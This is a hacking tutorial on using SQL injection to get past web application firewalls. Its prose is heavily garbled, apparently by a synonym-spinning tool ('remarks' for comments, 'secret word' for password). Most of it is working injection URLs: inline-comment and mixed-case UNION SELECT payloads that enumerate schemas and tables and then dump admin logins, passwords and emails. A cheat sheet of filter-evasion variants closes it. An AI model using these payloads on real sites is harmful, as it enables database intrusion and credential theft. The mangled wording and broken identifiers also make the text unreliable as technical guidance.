WAF BY PASSING WITH SQL INJEFTION WITH EASY WAY

Alright, so I demonstrated to you best practices to play out some essential SQLi beforehand, however there will be times that it begins off working and after that you end up confronting a FORBIDDEN page (403 Error). Commonly you can locate the defenseless page, discover the segment check and afterward when you change to
utilize the UNION SELECT explanation you get the mistakes beginning up. This is ordinarily because of the server side decides that are sifting through your demand. This is regularly alluded to as the Web Application Firewall or WAF, yet don't stress as there are ways we can beat them. You can get really imaginative with the techniques utilized yet until further notice I will demonstrate to utilize remarks to sidestep the channels, at times alluded to as inline remarks or C remarks.

I will re-utilize a portion of my past cases and accept the accompanying points of interest have gotten us to where we are currently:

http://www.site.com/index.php?id=725 (No Errors)h

http://www.site.com/index.php?id=725'' (Errors!!)

http://www.site.com/index.php?id=725+ORDER+BY+1,2,3,4,5- - (No Errors)

http://www.site.com/index.php?id=725+ORDER+BY+1,2,3,4,5,6- - (Errors!!)

http://www.site.com/index.php?id=725+UNION+SELECT+1,2,3,4,5- - (403 Forbidden)

http://www.site.com/index.php?id=-725+UNION+SELECT+1,2,3,4,5- - (403 Forbidden)

Presently we will check whether we can get one past the WAF framework by utilizing a few remarks to shroud the parts of our announcement that our probably being sifted. In fundamental frame it will resemble this:

http://www.site.com/index.php?id=725+UNION+SELECT+1,2,3,4,5- - (403 Forbidden)

http://www.site.com/index.php?id=-725+UNION+SELECT+1,2,3,4,5- - (403 Forbidden)

http://www.site.com/index.php?id=-725+/*!UNION*/+/*!SELECT*/+1,2,3,4,5- - (No Errors!!)

Presently there is not any more 403 Forbidden message halting you and you can see the powerless sections showed on the page. I will re-utilize my cases and accept segments 2, 4, and 5 are powerless. Since we have the defenseless sections we can extricate a few information, allows first locate some essential data however. We will utilize CONCAT to snatch the present database name, the present client, and the variant information, similar to this:

http://www.site.com/index.php?id=-725+/*!UNION*/+/*!SELECT*/+1,CONCAT(database(),user(),version()),3,4,5- - (403 Forbidden – WTF?)

Alright, so now we have remarked out our UNION SELECT proclamation however something is as yet setting off the channels… it is in all likelihood the CONCAT explanation. At times it is conceivable to sidestep channels by basically switching the standard up and re-testing. This can be refined by remarks or by just evolving CaPiTAliZaTIon, similar to so:

http://www.site.com/index.php?id=-725+/*!UNION*/+/*!SELECT*/+1,ConCAt(database(),user(),version()),3,4,5- - (No Errors!!)

Results:

· Version = 5.0.92-network log

· User = dumbdba@localhost

· Database() = exampleDB

It worked; we presently know the present database name, client name and the adaptation as they are perfectly shown on the page for us. These two procedures can be joined to sidestep channels all through your Injections as you will see. Presently let us attempt to get the rundown of the considerable number of databases accessible, rather than simply the present one, similar to so:

http://www.site.com/index.php?id=-725+/*!UNION*/+/*!SELECT*/+1,GROUP_CONCAT(SCHEMA_NAME),3,4,5+FROM+INFORMATION_SCHEMA.SCHEMATA- - (403 Forbidden)

Fortunately we recognize what to do presently so begin by modifying GROUP_CONCAT, same as we improved the situation CONCAT:

http://www.site.com/index.php?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(SCHEMA_NAME),3,4,5+FROM+INFORMATION_SCHEM.SCHEMATA- - (No Errors!!)

Results:

· Information_Schema

· exampleDB

This should now demonstrate to us the accessible databases! Presently let us check for the tables attached to the present database.

http://www.site.com/index.php?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5+FROM+INFORMATION_SCHEM.TABLES+WHERE+TABLE_SCHEMA=DATABASE()- - (403 Forbidden once more)

At times you may have encountered a 403 in the past advance too, it is because of the way that in many cases INFORMATION_SCHEMA or TABLES will be separated. Once more, this progressions from site to site in view of how it was designed so it could even be different things however these are the most well-known. With a specific end goal to get around the channels we basically need to utilize our remarks strategy once more, so it would seem that this:

http://www.site.com/index.php?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.TABLES- - (No Errors!!)

TABLES FOUND: Admin, News, Ads, Users

Presently we have the majority of the tables for the present database showed on the page with no 403 keeping us down. We can get segments utilizing an indistinguishable strategy from we utilized as a part of the Basic SQLi 101 illustrations however we will keep our remarks and capitalization procedures alive so it moves beyond the WAF (suggestion to likewise HEX your table names).

http://www.site.com/index.php?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e- - (No Errors!!)

The page will now show a rundown of the sections from the Admin table in the defenseless segment 2 spot on page. In this illustration we will expect we found the accompanying section names:

· id

· login

· secret word

· email

Alright, now it we know the tables and related sections. The time has come to get a few information removed, and it will go the same as it did in the Basic SQLi instructional exercise, or like this:

http://www.site.com/index.php?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(id,0x3a,login,0x3a,password,0x3a,email,0x3a),3,4,5+FROM+Admin—

Okay, you have effectively moved beyond a WAF framework! That aggregates up my scope of WAF Bypassing and I trust you have delighted in it and discovered it be useful. On the off chance that you did, if you don't mind ensure you look at back regularly to perceive what new pages get included. On the off chance that you feel I missed anything please let me know so I can refresh things likewise. The following is some extra material that might be valuable while you are on this subject… as usual, Enjoy!

Laters - H.R.

Additional EXAMPLES:

Administrators will channel a wide range of things, similar to words (UNION, SELECT, LIKE) and images (=, !=, ') so here is some extra cases to help get you on your way:

Utilizing the remarks to separate the conceivable standard forms that would be utilized and in this way conceivable sifted.

·/**/association/*&id=*/select/*&id=*/segment/*&id=*/from/*&id=*/table- -

o association select segment from table

·/*!union*/+/*!select*/+1,2,3—

o Union select 1,2,3

·/*!UnIOn*//*!SeLect*/+1,2,3—

o Union select 1,2,3

· un/**/ion+sel/**/ect+1,2,3—

o Union select 1,2,3

·/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3—

o Union select 1,2,3

· Query inside question (stacked inquiry) and the two strategies being used:

o ID=66+UnIoN+aLL+SeLeCt+1,2,3,4,5,6,7,(SELECT+concat(0x3a,id,0x3a,password,0x3a)+FROM+information_schema.columns+WHERE+table_schema=0x6334706F645F666573746976616C5F636D73+AND+table_name=0x7573657273),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30- -

On the off chance that you can't utilize the WHERE work, have a go at supplanting with some type of the LIMIT work:

· LIMIT 0,1

o take note of that 0,1 gets 1 result beginning from the 0th column (first section)

o to see the second table, we change constrain 0,1 to restrain 1,1

In the event that you can't utilize the "=" sign take a stab at utilizing the not equivalent to sign "!=" rather to check whether you can utilize this to discover different things in view of any base you have found. i.e. On the off chance that you know the present DB, you could then check for !=databse() to perhaps discover elective databases (or tables or sections) in your demand proclamation

In the event that you can utilize one, you may have the capacity to attempt another:

· If substring() is being separated you can likewise utilize mid() OR substr() to get comparable outcomes

o select client from mysql.user where client = 'client' OR mid(password,1,1)='*'

· If ascii() is being separated you can likewise utilize hex() OR receptacle() to get comparable outcomes

· If you can't utilize benchmark() you may likewise attempt rest()

· 0x3a can be utilized to supplant a colon ':' as it is the HEX esteem

o Helpful in isolating outcomes

o i.e. group_concat(user,0x3a,fd_Password) = user:fd_Password

· 0x0a can be utilized to make new line for results to be shown less demanding

I jump at the chance to begin while doing my defenselessness verifies how the framework is sifting things. In the event that you take a stab at utilizing twofold statements, single statements, pound images, remarks, and so forth all to both check whether they trigger any mistakes showing the site is helpless yet additionally to observe the strategies being utilized to channel include.

· ' moves toward becoming "' or */, play with things and take mental notes and you will see designs after some time, same is valid for mistakes when UNION is missing or CONCAT it is another intimation of what is happening the opposite side

o I have not discovered a total rundown but rather might want to have one for reference of which channels show what sort of WAF/IDS is being used, so on the off chance that anybody has something please message me or send my direction so I can make a refresh to incorporate

The point here is to get innovative as it commonly just channels what the administrator designs regardless they have to consider real utilization of a few things so there will dependably be alternatives it is simply influencing them to work for you. Until next time… Enjoy!

OTHER REFERENCES:Basic SQL Injection first of all can be found here: SQLi 101

Propelled Techniques on Blind Injection and Time-Based Injection can be found here: BLIND and TIME-BASED INJECTION

Comments :